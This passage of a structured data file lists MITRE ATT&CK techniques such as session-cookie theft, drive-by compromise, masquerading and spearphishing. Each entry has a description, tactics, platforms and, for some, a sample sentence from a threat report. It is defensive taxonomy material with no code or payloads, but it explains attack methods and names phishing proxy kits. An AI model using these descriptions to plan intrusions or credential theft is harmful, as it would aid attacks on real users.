variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Due to the static content distribution service, it is highly popular among threat actors to host malicious attachments that remain publicly accessible even after removing actual files from Discord." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: These attacks are used for everything from data theft to site defacement to distribution of malware." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: However, the massive growth of SSL attacks – [260% higher in 2020 compared to 2019](/blogs/security-research/2020-state-encrypted-attacks) – has turned many security teams’ attention to these encrypted channels." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 6: Phishing landing page referencing an externally hosted JavaScript to load phishing content*" + }, + { + "id": "T1195", + "text": "ATT&CK technique: T1195 Supply Chain Compromise\nDescription: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\nTactics: initial access\nPlatforms: Linux, SaaS, Windows, macOS\nLabeled report example: The most well-known supply-chain attacks of the past decade are now security parables: Russian-linked criminals have attacked ATMs for years with [different types](https://www.theguardian.com/technology/2014/oct/08/cash-machine-atm-malware-tyupkin) [of malware](https://www.vice.com/en/article/538ebn/atm-hack-russia-disappearing-malware)." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such 